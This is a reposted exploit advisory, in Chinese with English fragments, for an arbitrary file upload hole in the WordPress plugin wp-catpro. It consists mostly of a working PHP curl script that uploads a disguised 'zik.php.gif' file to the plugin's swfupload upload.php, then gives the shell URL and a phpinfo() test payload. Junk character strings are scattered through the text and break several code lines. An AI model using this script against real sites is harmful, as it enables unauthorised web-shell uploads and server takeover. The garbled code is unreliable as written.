WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
9 X( [5 s6 X8 I2 q, A* }* ^+ L2 \# C#-----------------------------------------------------------------------
# G3 @  v" k; T' S
作者  => Zikou-16
0 x: ?: S. p4 ]邮箱 => zikou16x@gmail.com
测试系统 : Windows 7 , Backtrack 5r3
9 q$ j. J/ q# w  }  }* V/ [' @下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
! B8 Z7 r) ~1 J! V####

#=> Exploit 信息:
------------------
5 R% k* J$ Y! C, `5 V# 攻击者可以上传 file/shell.php.gif
# ("jpg", "gif", "png")  // Allowed file extensions
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
. i1 S* b) r5 Q, E+ E------------------
* A3 D5 |0 Q/ u9 B7 c4 U6 m
#=> Exploit
' c0 I; t1 w4 x/ V( O! p% j3 x8 I-----------
<?php
# f( N3 ]% `9 s9 F" \7 V# L: a# e
$uploadfile="zik.php.gif";
! g( W. I( U; G7 v% S6 P9 ?$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
4 ~3 G& |$ A/ R7 K; E! p% Ycurl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
5 U: c0 j% q4 w+ }, K, ^4 \array('Filedata'=>"@$uploadfile",
'folder'=>'/wp-content/uploads/catpro/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
( l; V. S6 y5 J3 G% R: W; }" W4 ecurl_close($ch);
9 I7 M, \: T, ~7 b- {% ?) j
. P) W. ^" k# cprint "$postResult";

Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
  ?>
: B' {, Z  ?3 `<?php
$ ]' {0 N$ a. d5 a2 E' dphpinfo();
?>